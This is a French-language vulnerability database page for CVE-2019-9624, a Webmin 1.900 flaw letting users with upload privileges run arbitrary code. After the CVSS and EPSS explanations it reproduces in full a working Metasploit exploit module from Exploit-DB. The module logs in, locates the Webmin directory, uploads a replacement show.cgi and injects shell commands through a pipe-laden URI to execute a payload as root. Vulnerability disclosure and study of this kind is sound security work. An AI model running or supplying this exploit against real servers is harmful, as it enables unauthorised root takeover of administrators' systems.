CVE-2019-9624 : Détail

CVE-2019-9624

7.8
/
Haute
Improper Privilege Management
A04-Insecure Design
94.52%V3
Local
2019-03-07
04h00 +00:00
2019-03-22
08h06 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Webmin 1.900 allows remote attackers to execute arbitrary code by leveraging the "Java file manager" and "Upload and Download" privileges to upload a crafted .cgi file via the /updown/upload.cgi URI.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-269 Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 46201

Date de publication : 2019-01-17 23h00 +00:00
Auteur : AkkuS
EDB Vérifié : No

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'uri' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Webmin 1.900 - Remote Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in Webmin 1.900 and lower versions. Any user authorized to the "Java file manager" and "Upload and Download" fields, to execute arbitrary commands with root privileges. In addition, "Running Processes" field must be authorized to discover the directory to be uploaded. A vulnerable file can be printed on the original files of the Webmin application. The vulberable file we are uploading should be integrated with the application. Therefore, a ".cgi" file with the vulnerability belong to webmin application should be used. The module has been tested successfully with Webmin 1900 over Debian 4.9.18. }, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html'] ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby python telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Webmin <= 1.900', { }]], 'DisclosureDate' => 'Jan 17 2019', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(10000), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('USERNAME', [true, 'Webmin Username']), OptString.new('PASSWORD', [true, 'Webmin Password']) ], self.class) end ## # Target and input verification ## def check peer = "#{rhost}:#{rport}" vprint_status("Attempting to login...") data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}" res = send_request_cgi( { 'method' => 'POST', 'uri' => "/session_login.cgi", 'cookie' => "testing=1", 'data' => data }, 25) if res and res.code == 302 and res.get_cookies =~ /sid/ vprint_good "Login successful" session = res.get_cookies.split("sid=")[1].split(";")[0] else vprint_error "Service found, but login failed" return Exploit::CheckCode::Detected end vprint_status("Attempting to execute...") command = "echo #{rand_text_alphanumeric(rand(5) + 5)}" res = send_request_cgi( { 'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|", 'cookie' => "sid=#{session}" }, 25) if res and res.code == 200 and res.message =~ /Document follows/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end ## # Exploiting phase ## def exploit peer = "#{rhost}:#{rport}" print_status("Attempting to login...") data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}" res = send_request_cgi( { 'method' => 'POST', 'uri' => "/session_login.cgi", 'cookie' => "testing=1", 'data' => data }, 25) if res and res.code == 302 and res.get_cookies =~ /sid/ session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || '' if session and not session.empty? print_good "Login successfully" else print_error "Authentication failed" return end else print_error "Authentication failed" return end ## # Directory and SSL verification for referer ## ps = "#{datastore['SSL']}" if ps == "true" ssl = "https://" else ssl = "http://" end print_status("Target URL => #{ssl}#{peer}") res1 = send_request_raw( { 'method' => "POST", 'uri' => "/proc/index_tree.cgi?", 'headers' => { 'Referer' => "#{ssl}#{peer}/sysinfo.cgi?xnavigation=1", }, 'cookie' => "redirect=1; testing=1; sid=#{session}" }) if res1 and res1.code == 200 and res1.body =~ /Running Processes/ print_status "Searching for directory to upload..." stpdir = res1.body.scan(/perl.+miniserv.pl/).map{ |s| s.split("perl ").last }.map{ |d| d.split("miniserv").first }.map{ |d| d.split("miniserv").first } dir = stpdir[0] + "file" print_good("Directory to upload => #{dir}") else print_error "No access to processes or no upload directory found." return end ## # Loading phase of the vulnerable file ## boundary = Rex::Text.rand_text_alphanumeric(29) data2 = "-----------------------------{boundary}\r\n" data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"show.cgi\"\r\n" data2 << "Content-Type: application/octet-stream\r\n\r\n" data2 << "#!/usr/local/bin/perl\n# show.cgi\n# Output some file for the browser\n\n" data2 << "$trust_unknown_referers = 1;\nrequire './file-lib.pl';\n&ReadParse();\nuse POSIX;\n" data2 << "$p = $ENV{'PATH_INFO'};\nif ($in{'type'}) {\n\t# Use the supplied content type\n\t" data2 << "$type = $in{'type'};\n\t$download = 1;\n\t}\nelsif ($in{'format'} == 1) {\n\t" data2 << "# Type comes from compression format\n\t$type = \"application/zip\";\n\t}\n" data2 << "elsif ($in{'format'} == 2) {\n\t$type = \"application/x-gzip\";\n\t}\n" data2 << "elsif ($in{'format'} == 3) {\n\t$type = \"application/x-tar\";\n\t}\nelse {\n\t" data2 << "# Try to guess type from filename\n\t$type = &guess_mime_type($p, undef);\n\t" data2 << "if (!$type) {\n\t\t# No idea .. use the 'file' command\n\t\t" data2 << "$out = &backquote_command(\"file \".\n\t\t\t\t\t quotemeta(&resolve_links($p)), 1);\n\t\t" data2 << "if ($out =~ /text|script/) {\n\t\t\t$type = \"text/plain\";\n\t\t\t}\n\t\telse {\n\t\t\t" data2 << "$type = \"application/unknown\";\n\t\t\t}\n\t\t}\n\t}\n\n# Dump the file\n&switch_acl_uid();\n" data2 << "$temp = &transname();\nif (!&can_access($p)) {\n\t# ACL rules prevent access to file\n\t" data2 << "&error_exit(&text('view_eaccess', &html_escape($p)));\n\t}\n$p = &unmake_chroot($p);\n\n" data2 << "if ($in{'format'}) {\n\t# An archive of a directory was requested .. create it\n\t" data2 << "$archive || &error_exit($text{'view_earchive'});\n\tif ($in{'format'} == 1) {\n\t\t" data2 << "$p =~ s/\\.zip$//;\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t$p =~ s/\\.tgz$//;\n\t\t}\n\t" data2 << "elsif ($in{'format'} == 3) {\n\t\t$p =~ s/\\.tar$//;\n\t\t}\n\t-d $p || &error_exit($text{'view_edir'}.\" \".&html_escape($p));\n\t" data2 << "if ($archive == 2 && $archmax > 0) {\n\t\t# Check if directory is too large to archive\n\t\tlocal $kb = &disk_usage_kb($p);\n\t\t" data2 << "if ($kb*1024 > $archmax) {\n\t\t\t&error_exit(&text('view_earchmax', $archmax));\n\t\t\t}\n\t\t}\n\n\t" data2 << "# Work out the base directory and filename\n\tif ($p =~ /^(.*\\/)([^\\/]+)$/) {\n\t\t$pdir = $1;\n\t\t" data2 << "$pfile = $2;\n\t\t}\n\telse {\n\t\t$pdir = \"/\";\n\t\t$pfile = $p;\n\t\t}\n\n\t" data2 << "# Work out the command to run\n\tif ($in{'format'} == 1) {\n\t\t" data2 << "&has_command(\"zip\") || &error_exit(&text('view_ecmd', \"zip\"));\n\t\t" data2 << "$cmd = \"zip -r $temp \".quotemeta($pfile);\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t" data2 << "&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t" data2 << "&has_command(\"gzip\") || &error_exit(&text('view_ecmd', \"gzip\"));\n\t\t" data2 << "$cmd = \"tar cf - \".quotemeta($pfile).\" | gzip -c >$temp\";\n\t\t}\n\t" data2 << "elsif ($in{'format'} == 3) {\n\t\t&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t" data2 << "$cmd = \"tar cf $temp \".quotemeta($pfile);\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t" data2 << "# Don't actually do anything if in test mode\n\t\t&ok_exit();\n\t\t}\n\n\t" data2 << "# Run the command, and send back the resulting file\n\tlocal $qpdir = quotemeta($pdir);\n\t" data2 << "local $out = `cd $qpdir ; ($cmd) 2>&1 </dev/null`;\n\tif ($?) {\n\t\tunlink($temp);\n\t\t" data2 << "&error_exit(&text('view_ecomp', &html_escape($out)));\n\t\t}\n\tlocal @st = stat($temp);\n\t" data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-type: $type\\n\\n\";\n\t" data2 << "open(FILE, $temp);\n\tunlink($temp);\n\twhile(read(FILE, $buf, 1024)) {\n\t\tprint $buf;\n\t\t}\n\t" data2 << "close(FILE);\n\t}\nelse {\n\tif (!open(FILE, $p)) {\n\t\t# Unix permissions prevent access\n\t\t" data2 << "&error_exit(&text('view_eopen', $p, $!));\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t" data2 << "# Don't actually do anything if in test mode\n\t\tclose(FILE);\n\t\t" data2 << "&ok_exit();\n\t\t}\n\n\t@st = stat($p);\n\tprint \"X-no-links: 1\\n\";\n\t" data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-Disposition: Attachment\\n\" if ($download);\n\t" data2 << "print \"Content-type: $type\\n\\n\";\n\tif ($type =~ /^text\\/html/i && !$in{'edit'}) {\n\t\t" data2 << "while(read(FILE, $buf, 1024)) {\n\t\t\t$data .= $buf;\n\t\t\t}\n\t\tprint &filter_javascript($data);\n\t\t" data2 << "}\n\telse {\n\t\twhile(read(FILE, $buf, 1024)) {\n\t\t\tprint $buf;\n\t\t\t}\n\t\t}\n\tclose(FILE);\n\t}\n\n" data2 << "sub error_exit\n{\nprint \"Content-type: text/plain\\n\";\n" data2 << "print \"Content-length: \",length($_[0]),\"\\n\\n\";\nprint $_[0];\nexit;\n}\n\n" data2 << "sub ok_exit\n{\nprint \"Content-type: text/plain\\n\\n\";\nprint \"\\n\";\nexit;\n}" data2 << "\r\n\r\n" data2 << "-----------------------------{boundary}\r\n" data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n" data2 << "-----------------------------{boundary}\r\n" data2 << "Content-Disposition: form-data; name=\"user\"\r\n\r\nroot\r\n" data2 << "-----------------------------{boundary}\r\n" data2 << "Content-Disposition: form-data; name=\"group_def\"\r\n\r\n1\r\n" data2 << "-----------------------------{boundary}\r\n" data2 << "Content-Disposition: form-data; name=\"group\"\r\n\r\n\r\n" data2 << "-----------------------------{boundary}\r\n" data2 << "Content-Disposition: form-data; name=\"zip\"\r\n\r\n0\r\n" data2 << "-----------------------------{boundary}\r\n" data2 << "Content-Disposition: form-data; name=\"email_def\"\r\n\r\n1\r\n" data2 << "-----------------------------{boundary}\r\n" data2 << "Content-Disposition: form-data; name=\"ok\"\r\n\r\nUpload\r\n" data2 << "-----------------------------{boundary}--\r\n" res2 = send_request_raw( { 'method' => "POST", 'uri' => "/updown/upload.cgi?id=154739243511", 'data' => data2, 'headers' => { 'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}', 'Referer' => "#{ssl}#{peer}/updown/?xnavigation=1", }, 'cookie' => "redirect=1; testing=1; sid=#{session}" }) if res2 and res2.code == 200 and res2.body =~ /Saving file/ print_good "Vulnerable show.cgi file was successfully uploaded." else print_error "Upload failed." return end ## # Command execution and shell retrieval ## print_status("Attempting to execute the payload...") command = payload.encoded res = send_request_cgi( { 'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|", 'cookie' => "sid=#{session}" }, 25) if res and res.code == 200 and res.message =~ /Document follows/ print_good "Payload executed successfully" else print_error "Error executing the payload" return end end end

Products Mentioned

Configuraton 0

Webmin>>Webmin >> Version 1.900

Références

https://www.exploit-db.com/exploits/46201
Tags : exploit, x_refsource_EXPLOIT-DB